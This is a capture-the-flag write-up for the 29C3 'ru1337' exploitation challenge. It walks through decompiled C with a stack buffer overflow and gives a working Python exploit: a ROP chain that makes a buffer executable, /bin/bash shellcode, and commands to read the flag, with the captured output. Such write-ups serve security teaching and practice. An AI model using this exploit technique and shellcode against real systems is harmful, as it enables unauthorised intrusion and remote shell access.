code hacking, zen coding

29C3 CTF – Exploitation 200 – ru1337 write-up

Description

Are you 31337? Get your credentials checked here 94.45.252.242:1024

$ nc 94.45.252.242 1024
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password

User: aXs
Password: toto
u r not s0 1337zz!!!

After some work in your favorite debugger, we can work with the reversing of our little binary:

char *getUserAndPassword()
{
  char *buffer; // eax@1
  char password[128]; // [sp+24h] [bp-94h]@1
  char username[8]; // [sp+A4h] [bp-14h]@1
  int i; // [sp+ACh] [bp-Ch]@2

  memset(username, 0, 8u);
  memset(password, 0, 8u);
  buffer = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0);
  mmap_buffer = buffer;
  if ( buffer != (char *)-1 )
  {
    send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
    recv(fd, username, 0x2Cu, 0);
    for ( i = 0; i <= 7 && username[i] && username[i] != 10; ++i )
    {
      if ( !((*__ctype_b_loc())[username[i]] & 0x400) )
      {
        close(fd);
        exit(0);
      }
    }
    send(fd, "Password: ", 0xAu, 0);
    recv(fd, password, 0x80u, 0);
    strcpy(mmap_buffer, username);
    strcpy(mmap_buffer + 8, password);
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
  }
}

Steps:
– mmap a buffer at fixed address 0xbadc0de with RW permissions (0xbadc0de will be aligned to 0xbadc000)
– Read username, length 44 <- username is allocated 8 bytes on the stack: buffer overflow possible - Check first 8 characters of username are alphabetic - Read password, length 128 - Concat username and password into the mmap-ed buffer - dup2 the socket descriptor to stdin/stdout/stderr (make it even easier) Some words about __ctype_b_loc():

The __ctype_b_loc() function shall return a pointer into an array of characters in the current locale that contains characteristics for each character in the current character set. The array shall contain a total of 384 characters, and can be indexed with any signed or unsigned char (i.e. with an index value between -128 and 255).

We are checking against flag 0x400: this is simply the isalpha() macro

Our strategy:
– Overflow username to control RET address
– Use the nice mprotect sequence in the binary to pivot the stack
– ROP chain to mprotect the mmap-ed buffer to RWX permissions
– End ROP chain with jump to shellcode, will spawn /bin/bash
– Send commands to bash to list directory and display flag file

import socket
from struct import pack,unpack
import time

shellcode  = "\x89\xec" # restore sane esp with mov esp, ebp

# execve /bin/bash -p
shellcode += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52" \
"\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" \
"\x51\x53\x89\xe1\xcd\x80"

host = '94.45.252.242'
port = 1024

mprotect_call = 0x080487D9
mprotect_setup = 0x080487BC

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

login = 'A' * 20
rop  = pack('<I', 0x0badc000 + 8) # restore ebp
rop += pack('<I',  mprotect_setup) # stack pivot

rop += pack('<I', mprotect_call)
rop += pack('<I', 0xbadc000) # needs to be aligned
rop += pack("<I", 0xff) # size_t len
rop += pack("<I", 0x07) # RWX

buffer = login + rop

s.send(buffer)

rop  = pack('<I', 0xbadc0ff) # restore ebp, will be used for esp later
rop += pack('<I', 0xbadc010) # eip with shellcode
rop += "\x90" * 4
rop += shellcode

s.send(rop + "\n")

time.sleep(1)

s.send("\n/bin/ls -la\ncat flag\n")

while True:
    data = s.recv(1024)
    if data:
        print repr(data)
    else:
        break

Output:

$ python ru1337.py
'ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: Password: '
'total 24\ndrwxr-xr-x 2 root root 4096 Dec 20 21:49 .\ndrwxr-xr-x 3 root root 4096 Dec 19 20:31 ..\n-r--r--r-- 1 root root   38 Dec 20 21:49 flag\n-r-xr-xr-x 1 root root 9776 Dec 26 01:42 ru1337\n'
'29C3_d4689608484bc61ec4d47d71ba0a933f\n'
Share